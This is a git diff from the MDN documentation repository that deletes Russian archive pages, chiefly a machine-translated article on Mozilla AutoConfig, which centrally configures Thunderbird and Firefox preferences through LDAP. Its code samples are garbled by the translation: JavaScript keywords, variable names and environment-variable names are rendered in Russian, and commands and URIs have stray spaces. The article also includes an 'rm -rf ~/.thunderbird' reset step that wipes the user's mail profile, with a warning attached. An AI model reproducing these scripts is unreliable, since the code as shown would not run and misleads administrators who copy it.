{{ SpecName("CSSOM", "", "") }}{{ Spec2("CSSOM") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Overflow", "", "") }}{{ Spec2("CSS3 Overflow") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Font Loading", "", "") }}{{ Spec2("CSS3 Font Loading") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Display", "", "") }}{{ Spec2("CSS3 Display") }}
- - - - - - - - - - - -
{{ SpecName("CSS Scope", "", "") }}{{ Spec2("CSS Scope") }}
- - - - - - - - - - - -
{{ SpecName("CSS4 Media Queries", "", "") }}{{ Spec2("CSS4 Media Queries") }}
- - - - - - - - - - - -
{{ SpecName("CSS Non-element Selectors", "", "") }}{{ Spec2("CSS Non-element Selectors") }}
- - - - - - - - - - - -
{{ SpecName("Geometry Interfaces", "", "") }}{{ Spec2("Geometry Interfaces") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Inline", "", "") }}{{ Spec2("CSS3 Inline") }}
- -

Modules in the rewriting phase

- -

Modules that are in the rewriting phase are outdated and require to be rewritten. The syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntaxes are tested and often implemented.

- - - - - - - - - - - -
{{ SpecName("CSS3 Box", "", "") }}{{ Spec2("CSS3 Box") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Content", "", "") }}{{ Spec2("CSS3 Content") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Inline Layout", "", "") }}{{ Spec2("CSS3 Inline Layout") }}
diff --git a/files/ru/archive/events/index.html b/files/ru/archive/events/index.html deleted file mode 100644 index 8db3d2efb0..0000000000 --- a/files/ru/archive/events/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Events -slug: Archive/Events -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Events ---- -

Archived event pages

- -

 

- -

{{Listsubpages("", 100)}}

diff --git a/files/ru/archive/index.html b/files/ru/archive/index.html deleted file mode 100644 index e4b9730ea5..0000000000 --- a/files/ru/archive/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Archive of obsolete content -slug: Archive -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive ---- -

Here at MDN, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. Perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. Or for "reasons," your company is required to use very old software and you need to build Web content that runs on that software. Or perhaps you're just curious about the history of an obsolete feature or API, and how it worked.

- -

There are many reasons older documentation can be useful. So, we've established this area into which we can archive older documentation. Material in this Archived content zone should not be used for building new Web sites or apps for modern browsers. It's here for historical reference only.

- -
-

Note to writers: We need to try to keep the subpages here organized instead of all dumped into one large folder. Try to create subtrees for categories of material. Also, only move pages here that are extremely obsolete. If anyone might realistically need the information in a living product, it may not be appropriate to move it here. In general, it may be best to discuss it in the MDN Web Docs chat room before moving content here.

-
- -

{{SubpagesWithSummaries}}

- - - -

{{ListSubpages("/en-US/docs/Archive", 2, 0, 1)}}

diff --git a/files/ru/archive/mdn/index.html b/files/ru/archive/mdn/index.html deleted file mode 100644 index 95f78220b5..0000000000 --- a/files/ru/archive/mdn/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: MDN -slug: Archive/MDN -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/MDN ---- -

Obsolete
This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.

- -

The documentation listed below is archived, obsolete material about MDN itself.

- -

-
Content kits
MDN Content Kits are subject-based collections of technical resources to help you host a local developer meetup or give a technical presentation at an event, conference, or workshop.
How to link a GitHub account to your MDN profile
All users who wish to contribute to MDN must add a GitHub login to their MDN account in order to edit. This article describes how to add GitHub authentication to your MDN profile.
MDN and Persona sign-ins
Starting on November 1, 2016, we only support GitHub for logging into MDN. If you didn't add a GitHub login to your MDN account before we disabled Persona logins, please file an "Account Help" bug on Bugzilla.
-
Subject-matter experts
This article's purpose is to help writers find the Mozilla developers who have answers for questions about various technologies. If you're an engineer on any Mozilla project, please make sure your technology is on this list and that the contact information for your group is provided.
Zones
A zone is a special area of MDN whose content is presented with some added user interface elements, such as a special zone navigation box and enhanced visuals in the header area of the page.
-

diff --git a/files/ru/archive/misc_top_level/index.html b/files/ru/archive/misc_top_level/index.html deleted file mode 100644 index 2ca2018d08..0000000000 --- a/files/ru/archive/misc_top_level/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Misc top level -slug: Archive/Misc_top_level -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Misc_top_level ---- -

These pages were moved from the top level of MDN in a spate of furious reorganization.

- -

{{SubpagesWithSummaries}}

diff --git a/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html b/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html deleted file mode 100644 index 12a4a4426a..0000000000 --- a/files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html +++ /dev/null @@ -1,1679 +0,0 @@ ---- -title: 'MCD, Mission Control Desktop, AKA AutoConfig' -slug: 'Archive/Misc_top_level/MCD,_Mission_Control_Desktop_AKA_AutoConfig' -translation_of: 'Archive/Misc_top_level/MCD,_Mission_Control_Desktop_AKA_AutoConfig' ---- -

Абстрактные

- -

Этот документ является конкретным примером централизованной автоматической настройки приложений Mozilla; Firefox, Thunderbird, Mozilla Suite 1.xx, Seamonkey и для записи, старый Netscape 4.x. Его оригинальное вдохновение исходит от  http://www.alain.knaff.lu/howto/MozillaCustomization/ и http://mit.edu/~firefox/www/maintain...utoconfig.html . Для истории я сохранил главы Mozilla и Netscape, так как некоторые точки дополняют веб-файл AutoConfig.

- -

Этот MCD (также известен как autoconfig) не следует путать с https://wiki.mozilla.org/Thunderbird...oconfiguration . Миссия состоит в том, чтобы полностью автоматизировать настройку предпочтений приложений Mozilla на основе свойств пользователей, полученных из переменных системы или в каталоге ldap организации.

- -

Cитуация

- -

INT-Evry управляет около 3000 пользователей (в основном студентов), которые обмениваются компьютерами в лабораториях и компьютерными комнатами «самообслуживания». Следовательно, один компьютер может подключать много разных пользователей в течение всего дня. Компьютеры с двойной загрузкой (Windows 7 и Linux Fedora 19 к 2013 году). Все пользователи имеют личную учетную запись на сервере Windows (AD) и учетную запись LDAP для аутентификации Linux.

- -

Задача

- -

Целью является предоставление пользователям агента почтовой программы, веб-браузера и считывателя новостей, которые автоматически настраиваются (предпочтения) при запуске для текущего пользователя, подключенного к компьютеру. Выбор продуктов Mozilla позволяет нам использовать одни и те же приложения во время работы в системах Windows или Linux (я подозреваю, что MAC OSX тоже будет в порядке).

- -

Вместо того, чтобы настраивать индивидуальные файлы конечных пользователей (~/.mozilla/default/randomdir/prefs.js), мы теперь используем централизованный набор настроек по умолчанию. Этот централизованный файл настроек может блокировать настройки (lockPref) или инициализировать их (defaultPref) на основе переменных среды (USER, HOME...) и / или запросов LDAP (выбор адреса электронной почты, общего имени, языка, домашней страницы и т. Д.) Из каталога предприятия.

- -

Центральный файл конфигурации

- -

Эта функция предоставляется через файл JavaScript.

- -

Местоположение файла (не тестировалось с 2012 года ...)

- -

В Thunderbird, FireFox, файл предпочтений javascript, который вызывает централизованный файл предпочтений, находится в $ INSTALL_DIR_MOZ_APP / defaults / pref, например, в thunderbird это было бы соответственно для windows / linux:

- -

C:\Program Files\Mozilla Thunderbird\defaults\pref

- -

/usr/lib/thunderbird/default/pref

- -
(раньше он находился в /usr/lib/thunderbird-version#/default/prefсостоянии /usr/lib/thunderbird-5/default/pref)
- -

Для цели записи / истории ... старый Netscape 4.x файл закодирован (byte-shift / rotary is 7), и наличие файла ( netscape.cfg) в MOZILLA_HOMEкаталоге достаточно для его чтения и выполнения. Для Mozilla 1.xx, Firefox, Thunderbird или Netscape 7 он по-прежнему является файлом JavaScript, по умолчанию байтовый сдвиг равен 13, но его можно удалить с помощью pref("general.config.obscure_value", 0);предпочтения в любом подходящем .jsфайле, посвященном autoconfig (здесь autoconf.js).

- -

Имя файла может быть все что угодно , потому что он назван по general.configпредпочтению , которое должно быть добавлено в конце файла MOZILLA_HOME/default/pref/autoconf.jsили MOZILLA_HOME/greprefs/autoconf.js: pref("general.config.filename", "mozilla.cfg");.

- -

Файловый API

- -

В этом централизованном файле предпочтений используется JavaScript API, который позволяет нам делать то, что нам нужно.

- -

Это prefcalls.jsтеперь архив в файле omni.jar, расположенный в корне установки приложений mozilla, пример TB5:

- -
# jar -tvf /usr/lib/thunderbird/omni.jar | grep prefcalls.js
-  7499 Сб Ноя 05 09:21:34 CET 2011 defaults/autoconfig/prefcalls.js
-
- -

Традиционно (предыдущие версии приложений) есть MOZILLA_HOME/default/autoconfig/prefcalls.js. Наличие pref("general.config.filename", "mozilla.cfg"); в любом подходящем .js файле (здесь мы используем autoconf.js выделенный файл) позволяет читать и выполнять prefcalls.js.
- Не используйте имя, all.js потому что оно зарезервировано. Ссылка: Баг 690370

- -

Доступные функции (см. prefcalls.js Файл для подробностей):

- -
function getPrefBranch()
-function pref(prefName, value)
-function defaultPref(prefName, value)
-function lockPref(prefName, value)
-function unlockPref(prefName)
-function getPref(prefName)
-function getLDAPAttributes(host, base, filter, attribs)
-function getLDAPValue(str, key)
-function displayError(funcname, message)
-function getenv(name)
- - - -

Настройка AutoConfig

- -

Две директивы просят Thunderbird использовать AutoConfig при запуске:

- -
# cat /usr/lib/thunderbird/defaults/pref/tb-autoconf.js 
-// 20100526 - Модификация autoconfig Jehan.
-//
-
-pref("general.config.obscure_value", 0); // для файлов MCD .cfg
-pref('general.config.filename', 'thunderbird.cfg'); // для файлов MCD .cfg
-
- -
Раньше он использовался в предыдущих выпусках (до 7.0) в /usr/lib/thunderbird-X.0/default/pref/autoconf.js
- -

Первый prefраз говорят нам , что мы не будем кодировать файл (не более 13 роторных или 7 Cf ниже), то второе prefэто имя файла для чтения: /usr/lib/thunderbird/thunderbird.cfg. (или firefox.cfg, если для firefox ...)

- -

Кодирование файлов

- -

При необходимости кодирование может быть выполнено с помощью скрипта Perl: moz-byteshift.plдоступно по адресу http://www.alain.knaff.lu/howto/Mozi...z-byteshift.pl .

- -

Для Netscape 4.x также может быть реализована функция преобразования из набора клиентской настройки (CCK) (и другие вещи, такие как персонализация автоматической установки ...): http://developer.netscape.com/docs/manuals/deploymt/ config.htm .

- -

Директивы AutoConfig

- -

Здесь мы хотим установить предпочтения пользователей электронной почты для пользователей: Создайте одну учетную запись из своего имени входа, получите свой адрес электронной почты из запроса LDAP и установите корпоративные IMAP-серверы и SMTP-серверы. Следовательно, при работе на многопользовательских рабочих станциях каждый пользователь автоматически настраивает Thunderbird для своего профиля.

- -
thunderbird.cfg (версия 1)
- -

Вот полный файл, сначала мы получаем имя пользователя из переменных среды, затем настраиваем адресную книгу LDAP, создаем учетную запись электронной почты и настраиваем IMAP и SMTP:

- -
[root@calaz /usr/lib/thunderbird]
-$ cat thunderbird.cfg
-// помещаем все в try/catch
-пытаться {
-
-// 1) переменные env
-if (getenv("USER")!= "") {
-  // * Настройки NIX
-  var env_user = getenv("ПОЛЬЗОВАТЕЛЬ");
-  var env_home = getenv("HOME");
-} else {
-  // Настройки Windows
-  var env_user = getenv("USERNAME");
-  var env_home = getenv("HOMEPATH");
-}
-var env_mozdebug = getenv("MOZILLA_DEBUG");
-// var env_user = prompt("indiquez votre login", toto);
-
-// 2) заблокировать общие настройки
-// Адресная книга LDAP
-lockPref("ldap_2.prefs_migrated", true);
-lockPref("ldap_2.servers.LDAPINT.auth.savePassword", true);
-lockPref("ldap_2.servers.LDAPINT.description", "LDAP INT");
-lockPref("ldap_2.servers.LDAPINT.filename", "abook-1.mab");
-lockPref("ldap_2.servers.LDAPINT.uri", "ldap: //ldap1.int-evry.Fr: 389 / ou = people, dc = int-evry, dc = fr ?? sub");
-lockPref("ldap_2.servers.history.filename", "history.mab");
-lockPref("ldap_2.servers.history.replication.lastChangeNumber", 0);
-lockPref("ldap_2.servers.pab.filename", "abook.mab");
-lockPref("ldap_2.servers.pab.replication.lastChangeNumber", 0);
-
-//Счет
-lockPref("mail.account.account1.server", "server1");
-lockPref("mail.account.account2.identities", "id1");
-lockPref("mail.account.account2.server", "server2");
-lockPref("mail.accountmanager.accounts", "account1, account2");
-lockPref("mail.accountmanager.defaultaccount", "account2");
-lockPref("mail.accountmanager.localfoldersserver", "server1");
-lockPref("mail.identity.id1.directoryServer", "ldap_2.servers.LDAPINT");
-lockPref("mail.identity.id1.draft_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Drafts");
-lockPref("mail.identity.id1.drafts_folder_picker_mode", "0");
-lockPref("mail.identity.id1.fcc_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Sent");
-lockPref("mail.identity.id1.fcc_folder_picker_mode", "0");
-lockPref("mail.identity.id1.organization", "INT Evry France");
-lockPref("mail.identity.id1.overrideGlobal_Pref", true);
-lockPref("mail.identity.id1.reply_to", "");
-
-// IMAP
-lockPref("mail.server.server2.hostname", "imap-int.int-evry.fr");
-lockPref("mail.server.server2.isSecure", true);
-lockPref("mail.server.server2.login_at_startup", true);
-lockPref("mail.server.server2.max_cached_connections", 5);
-//lockPref("mail.server.server2.name "," jehan.procaccia@int-evry.fr ");
-lockPref("mail.server.server2.type", "imap");
-lockPref("mail.server.server2.userName", env_user);
-
-// SMTP
-lockPref("mail.identity.id1.smtpServer", "smtp1");
-lockPref("mail.identity.id1.stationery_folder", "imap: //" + env_user + "@ imap-int.int-evry.fr / Шаблоны");
-lockPref("mail.identity.id1.tmpl_folder_picker_mode", "0");
-lockPref("mail.identity.id1.valid", true);
-
-// Общий SMTP
-lockPref("mail.smtp.defaultserver", "smtp1");
-lockPref("mail.smtpserver.smtp1.auth_method", 0);
-lockPref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr");
-lockPref("mail.smtpserver.smtp1.port", 25);
-lockPref("mail.smtpserver.smtp1.try_ssl", 0);
-lockPref("mail.smtpserver.smtp1.username", "");
-lockPref("mail.smtpservers", "smtp1");
-lockPref("mail.startup.enabledMailCheckOnce", true);
-lockPref("mailnews.quotingPrefs.version", 1);
-lockPref("mailnews.ui.threadpane.version", 5);
-
-/* 3) определить здесь (потому что если установлено после «4»), ниже он не работает!) ProcessLDAPValues, который в конечном итоге вызывается getLDAPAttributes () чуть ниже,
- проверьте код getLDAPAttributes () из $ MOZILLA_HOME / defaults / autoconfig / prefcalls.js, чтобы увидеть внутренний вызов на «user defined» processLDAPValues
-*/
-function processLDAPValues(values) {
-  if(values) {
-    // устанавливаем глобальный var со значениями, возвращаемыми из запроса LDAP
-    ldap_values ​​= значения;
-    var uid = getLDAPValue(значения, "uid");
-    var cn = getLDAPValue(значения, "cn");
-    var mail = getLDAPValue(значения, «почта»);
-    var URL = getLDAPValue(значения, "labeledURI");
-
-// Эти переменные LDAP доступны только в этом контексте processLDAPValues!
-// поэтому мы задаем им настройки, которые здесь нужны.
-lockPref("mail.identity.id1.useremail", mail);
-lockPref("mail.server.server2.name", почта);
-lockPref("mail.identity.id1.fullName", cn);
-// Отладка с всплывающими сообщениями об ошибках больше не работает :-( !!
-var env_mozdebug = getenv ("MOZILLA_DEBUG");
-if (env_mozdebug) {displayError("NO ERROR, только отладка, cn =" + cn + "и mail =" + mail); }
-    }
-  }
-// 4) Вызовите LDAP-серверы для получения атрибутов LDAP (mail & cn), это, наконец, вызовет processLDAPValues, «3» «чуть выше».
-  getLDAPAttributes ("ldap2.int-evry.fr", "ou = people, dc = int-evry, dc = fr", "uid =" + env_user, "uid, cn, mail, labeledURI");
-
-// Закройте попытку и вызовите catch ()
-} catch(e) {
-  displayError("lockedPref", e);
-}
-
- -
thunderbird.cfg (версия 2 с AD)
- -

Использование Thunderbird 9.0.1 и попытка использовать Active Directory (Windows Server 2008), поскольку LDAP-Source не работает с версией 1. Вот моя собственная версия.

- -
// Примечание: для доступа к Active Directory Windows Server позднее 2000
-// необходимо разрешить анонимный доступ для чтения. Пожалуйста, посмотри
-// (немецкий) http://interop.blog.de/2010/02/13/kapitel-1-ldap-anfragen-linux-ad-8001564/ 
-// или искать в сети, как это сделать. Если невозможно предоставить доступ к анонимным,
-// вы должны сначала включить эту функцию, см.
-// http://technet.microsoft.com/de-de/library/cc816788(WS.10).aspx
-//
-//
-// помещаем все в try / catch
-пытаться {
- 
-var userInfo = newObject(); // Это приведет к результатам LDAP
- 
-userInfo.envUser = getenv("USERNAME"); // USERNAME
-userInfo.envHome = getenv("HOME"); // Домашний каталог пользователя
- 
-var ldapHost = "example.com";
-var ldapBase = "dc = company, dc = local";
- 
-if (userInfo.envUser)
-{var ldapFilter = "sAMAccountName =" + userInfo.envUser; }
-еще
-{throw («Не удалось получить UID из среды»); }
- 
-// Атрибуты LDAP для извлечения с сервера
-var ldapAttrs = new Array("cn", "mail", "sAMAccountName"); // добавьте сюда дополнительные атрибуты)
- 
-// Определите, как обрабатывать результаты LDAP, прежде чем мы сделаем вызов
-function processLDAPValues(queryResults)
-{if (queryResults)
-   {// Создаем объект userInfo для последующего использования
-      для (var attr в ldapAttrs)
-      {userInfo [ldapAttrs [attr]] = getLDAPValue (queryResults, ldapAttrs [attr]); }
-   } else
-   {throw(«Нет результатов LDAP»); }
-}
- 
-// Вызов LDAP для значений в массиве ldapAttrs, 
-// Использует предыдущие processLDAPValues ​​()
-getLDAPAttributes (ldapHost, ldapBase, ldapFilter, ldapAttrs.join (","));
- 
-// Регистрация
-// см. также http://blog.deanandadie.net/2010/06/easy-thunderbird-account-management-using-mcd/
-// Идентификация
-defaultPref("mail.identity.id1.fullName", userInfo.cn);
-defaultPref("mail.identity.id1.smtpServer", "smtp1");
-defaultPref("mail.identity.id1.useremail", userInfo.mail);
- 
-// Настройки сервера IMAP
-defaultPref("mail.server.server1.hostname", "myImap.server.com");
-defaultPref("mail.server.server1.name", userInfo.mail);
-defaultPref("mail.server.server1.port", 993);
-defaultPref("mail.server.server1.socketType", 3);
-defaultPref("mail.server.server1.type", "imap");
-defaultPref("mail.server.server1.userName", userInfo.mail);
- 
-// Параметры SMTP-сервера
-defaultPref("mail.smtpserver.smtp1.authMethod", 3);
-defaultPref("mail.smtpserver.smtp1.description", "my Company Name");
-defaultPref("mail.smtpserver.smtp1.hostname", "mySmtp.server.com");
-defaultPref("mail.smtpserver.smtp1.port", 465);
-defaultPref("mail.smtpserver.smtp1.try_ssl", 3);
-defaultPref("mail.smtpserver.smtp1.username", userInfo.mail);
- 
-// Склеить все это вместе
-defaultPref("mail.account.account1.identities", "id1");
-defaultPref("mail.account.account1.server", "server1");
-defaultPref("mail.accountmanager.accounts", "account1");
-defaultPref("mail.accountmanager.defaultaccount", "account1");
-defaultPref("mail.smtp.defaultserver", "smtp1");
-defaultPref("mail.smtpservers", "smtp1");
- 
-// Закройте попытку и вызовите catch()
-} catch(e) {
-  displayError("lockedPref", e);
-}
-
-
- -
Тест AutoConfig
- -
Отлаживать
- -

Чтобы проверить, что наш AutoConfig работает нормально, мы просто устанавливаем переменную env для проверки чтения thunderbird.cfgфайла:

- -
$ export NSPR_LOG_MODULES = MCD: 5
-$ export NSPR_LOG_FILE = /tmp/thunderbird-log.txt
-
- -

Когда Thunderbird запустится, вы должны прочитать:

- -
 $ cat /tmp/thunderbird-log.txt
--1209403040 [808a788]: general.config.filename = thunderbird.cfg
--1209403040 [808a788]: оценка файла .cfg thunderbird.cfg с obscureValue 0
-
- -
чистый
- -

Затем, чтобы начать с новой учетной записи Thunderbird,

- -
не делайте этого, если у вас уже есть и вы хотите сохранить свои электронные письма и настройки!
- -
$ rm -rf ~/.thunderbird
-
- -
Начни это
- -
$ thunderbird
-
- -

Если Thunderbird попросит вас импортировать свой профиль из Netscape / Mozilla / TB в зависимости от вашей истории почтового клиента, не импортируйте ничего, здесь мы хотим проверить работу AutoConfig самостоятельно!

- -

Это должно сработать, просто перезапустите процесс, установив другую USERпеременную ( USER=procacciи USER=testт. Д.) Любого в вашем каталоге LDAP ...), чтобы проверить многопользовательский AutoConfig.

- -

Thunderbird (предыдущий выпуск)

- -

Поддержка вызовов AutoConfig и LDAP

- -
Ниже приведена «попытка и уловка», которую мы имели в предыдущем выпуске Thunderbird, где эта функция не была скомпилирована по умолчанию, она может помочь при необходимости ...
- -

К сожалению, опция AutoConfig и поддержка LDAP для autoconfig (getLDAPAttributes) не были скомпилированы в пакете Thunderbird по умолчанию в пакете Fedora11 (thunderbird-3.0-2.3.beta2.fc11.src.rpm).

- -

Поэтому нам нужно было запланировать и перекомпилировать этот RPM исходного кода (проверьте баг 295329); патч:

- -
[root @ b008-02 ИСТОЧНИКИ] # cat thunderbird-autoconfigAndLdap.patch
-diff -ur thunderbird-3.0 / настроить thunderbird-3.0.autoldap / configure
---- thunderbird-3.0 / configure 2009-06-29 11: 37: 21.677372297 +0200
-+++ thunderbird-3.0.autoldap / configure 2009-06-29 14: 41: 11.547435040 +0200
-@@ -12855,7 +12855,7 @@
- MOZ_FEEDS = 1
- MOZ_JSDEBUGGER = 1
- MOZ_JSLOADER = 1
--MOZ_LDAP_XPCOM =
-+ MOZ_LDAP_XPCOM = 1
- MOZ_MAIL_NEWS =
- MOZ_MORK = 1
- MOZ_MORKREADER =
-
- -
И set --enable-extensions = pref в файле mozconfig, в исходном RPM в fedora:
- -
[root @ b008-02 ИСТОЧНИКИ] # grep enable-extensions / root / rpmbuild / SOURCES / thunderbird-mozconfig
-ac_add_options --enable-extensions = pref
-
- -
На этот раз кажется хуже, так как даже после применения указанных выше параметров компиляции я получаю следующее сообщение об ошибке при указании thunderbird с autoconfig (autoconf.js с pref ('general.config.filename', 'thunderbird.cfg'); )
- -

и thunderbird.cfg, вызывающие функции getLDAP * для извлечения cn и почтового адреса текущего пользователя.

- -
Ошибка Netscape.cfg / AutoConfig. Пожалуйста, обратитесь к системному администратору.
- Ошибка: getLDAPAttibutes не удалось: [Исключение ... "Результат отказа компонента
-код: 0xc1f30001 (NS_ERROR_NOT_INITIALIZED) [nsILDAPURL.spec] "nsresult:
-"0xc1f30001 (NS_ERROR_NOT_INITIALIZED)" местоположение: "JS frame ::
-file: ////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js ::
-getLDAPAttributes :: строка 174 "данные: нет]
-
- -
баг 295329 был вновь открыт.
- - - -
Опция AutoConfig и поддержка LDAP в Thunderbird 1.5.x
- -

К счастью, AutoConfig теперь является частью пакетов по умолчанию Thunderbird. MOZ_LDAP_XPCOM=1и MOZ_EXTENSIONS_DEFAULT="wallet spellcheck xmlextras pref webservices universalcharset auth"теперь присутствуют в configureскрипте по умолчанию . Подробнее см. баг 295329.

- -
Добавьте параметр AutoConfig для Old Thunderbird 1.0.x
- -

По умолчанию AutoConfig не входит в дистрибутив файлов Thunderbird (1.0.x). По-видимому, предполагалось увеличить нагрузку на двоичный объект для функции, не используемой множеством индивидуумов. Однако для развертывания предприятия это жизненно важно! Таким образом , нам необходимо перекомпилировать Thunderbird с поддержкой автонастройки, это просто вопрос добавления --enable-extensions=prefв mozconfigфайл.

- -

На моей 3 системы Fedora Core, я взял исходный пакет Thunderbird thunderbird-1.0.2-1.3.3.src.rpmустановил его ( rpm -i) модифицируется /usr/src/redhat/SOURCES/thunderbird-mozconfigпутем добавления:

- -
ac_add_options --enable-extensions = pref
-
- -

Скомпилируйте и установите:

- -
$ rpmbuild -ba /usr/src/redhat/SPECS/thunderbird.spec
-$ rpm -Uvh /usr/src/redhat/RPMS/i386/thunderbird-1.0.2-1.3.3.i386.rpm
-
- -

После инстилляции AutoConfig наконец возвращается:

- -
$ rpm -ql thunderbird | grep autoconfig
-/usr/lib/thunderbird-1.0.2/chrome/en-US/locale/autoconfig
-/usr/lib/thunderbird-1.0.2/components/autoconfig.xpt
-/usr/lib/thunderbird-1.0.2/components/libautoconfig.so
-/usr/lib/thunderbird-1.0.2/defaults/autoconfig
-/usr/lib/thunderbird-1.0.2/defaults/autoconfig/platform.js
-/usr/lib/thunderbird-1.0.2/defaults/autoconfig/prefcalls.js
-
- - - -

Для записи, для старых версий 1.0.x ...

- -
Нежелательное белое пространство снова появилось
- -

К сожалению, «пустая ошибка пространства» появилась в Thunderbird 1.0.2. См. ошибка 229271. Хотя это было исправлено в Mozilla mainstream: mozilla/extensions/pref/autoconfig/src/nsLDAPSyncQuery.cpp 1.7.2.1к концу 2004 года он по-прежнему присутствует в Thunderbird 1.0.2 по крайней мере :-(, поэтому я применил обходное решение, которое я предложил в этом отчете об ошибке ( start_pos += 1;).

- -

Thunderbird 2.x beta 2

- -

Недавно (2007/03/21) я протестировал с помощью thunderbird 2 beta 2 (2007/01/16), чтобы проверить, поддерживается ли autoconfig + ldap. Кажется, все в порядке. API-интерфейс Autonfig есть, ldap-вызов работает отлично, хорошо!.

- -

Мои тесты были в Windows Vista, и я заметил, по крайней мере, одно различие, это то, что Paths изменились; теперь профиль находится в (для моего образца пользователя procacci): C:\Users\procacci\AppData\Roaming\Thunderbird\Profiles\v6we4uku.default

- -

Местоположение профиля Vista

- -

Начало в режиме отладки в интерфейсе Comand Line:

- -

Запуск в режиме отладки Comand Line Interface

- - - -

Отладка с displayError ()

- - - -

Вот результат: я использовал метод displayError () (не лучший способ :-( см. ошибка 206294), чтобы показать переменные среды и ldap, чтобы проверить, что она работает нормально. Просто установите MOZILLA_DEBUG = 1 (см. Код js в thunderbird.cfg), чтобы это сообщение появилось, оно очень полезно в контексте отладки ...

- -

TB-перспектива-MCD-отладка msg.jpg

- -

Функция displayError () не работает должным образом в Thunderbird 3.1: см. Https://bugzilla.mozilla.org/show_bu...?id=502597#c34

- -

Используемое обходное решение помещает следующий код в начало вашего сценария autoconfig:

- -
// Enable logging.
-pref("MCD.logging.console", "All");
-pref("MCD.logging.dump", "All");
-Components.utils.import("resource:///modules/gloda/log4moz.js");
-var log = Log4Moz.getConfiguredLogger("MCD");
-
-// Enable alerts.
-var alerts = Components.classes["@mozilla.org/alerts-service;1"]
-             .getService(Components.interfaces.nsIAlertsService);
-
-// displayError() is broken. Let's override it.
-function displayError(title, msg) {
-    log.debug(title + ": " + msg);
-    alerts.showAlertNotification("chrome://branding/content/icon48.png", title, msg);
-}
-
- -

Fire Fox

- -

Это те же принципы, что и для firefox, как описано выше для thunderbir. Бинарные дистрибутивы теперь должны включать поддержку AutoConfig (pref extension!), Но, к сожалению, не для вызовов LDAP :-( (cf. MOZ_LDAP_XPCOM=1). Это не важно в Firefox, как для нас в Thunderbird (нужно получить cn и адрес электронной почты для установите учетную запись электронной почты, которые по умолчанию недоступны в переменных среды). Однако мне было бы полезно получить значения LDAP для дополнительной настройки Firefox, например, чтобы установить главную страницу по умолчанию на labeledURIатрибут LDAP пользователя.

- -

Firefox 22

- -

omni.jar архивный файл стал omni.ja с   http://blog.ffextensionguru.com/2011/11/16/omni-jar-to-become-omni-ja/

- -
[root@localhost firefox] # unzip -l /usr/lib/firefox/browser/omni.ja | grep defaults/pr
-warning [/usr/lib/firefox/browser/omni.ja]: 3598815 дополнительных байтов в начале или в zip-файле
-  (пытаясь все равно обработать)
-error [/usr/lib/firefox/browser/omni.ja]: указана длина центрального каталога
-  -3598815 байтов слишком долго (Atari STZip zipfile? JHHolm ZIPSPLIT 1.1
-  ZipFile?). Компенсационный ...
-     3850 01-01-2010 00:00 defaults/profile/bookmarks.html
-      869 01-01-2010 00:00 defaults/profile/chrome/userContent-example.css
-     1165 01-01-2010 00:00 defaults/profile/chrome/userChrome-example.css
-      366 01-01-2010 00:00 defaults/profile/localstore.rdf
-      569 01-01-2010 00:00 defaults/profile/mimeTypes.rdf
-       76 01-01-2010 00:00 defaults/preferences/firefox-l10n.js
-    91656 01-01-2010 00:00 defaults/preferences/firefox.js
-     1593 01-01-2010 00:00 по умолчанию/предпочтения/firefox-branding.js
-      473 01-01-2010 00:00 defaults/profile/prefs.js
-
- -

В отличие от старого Thunderbird 8 Firefox 8 не включал prefcalls.js  в себя omni.jar, но и другие файлы .js , хотя:

- -
[root @ arvouin firefox] # jar tvf omni.jar | grep defaults/pref
-     0 Пт ноя 04 21:34:18 CET 2011 defaults/предпочтения/
-   604 Пт ноя 04 21:34:18 CET 2011 defaults/ preferences/all-redhat.js
-  1389 Пт ноя 04 21:34:18 CET 2011 defaults/references/firefox-branding.js
-    76 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/firefox-l10n.js
- 50295 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/firefox.js
-  2470 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/services-sync.js
-
- -

Таким образом, нет defaults/autoconfig/prefcalls.jsи defaults/prefкаталог теперь называется defaults/preferences/!

- -

Помните, что в Thunderbird 5 мы

- -

# jar tvf ../thunderbird-5.0/omni.jar | grep pref

- -
7499 Fri Jun 24 20:23:08 CEST 2011 defaults/autoconfig/prefcalls.js
-     0 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/
-   277 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/all-l10n.js
- 27221 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/all-thunderbird.js
-  5865 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/composer.js
- 42591 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/mailnews.js
-   806 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/mdn.js
-   267 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/smime.js
-   921 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/thunderbird-branding.js
-   347 Fri Jun 24 20:23:08 CEST 2011 defaults/profile/prefs.js
- 84859 Fri Jun 24 20:23:08 CEST 2011 greprefs.js
-
- -

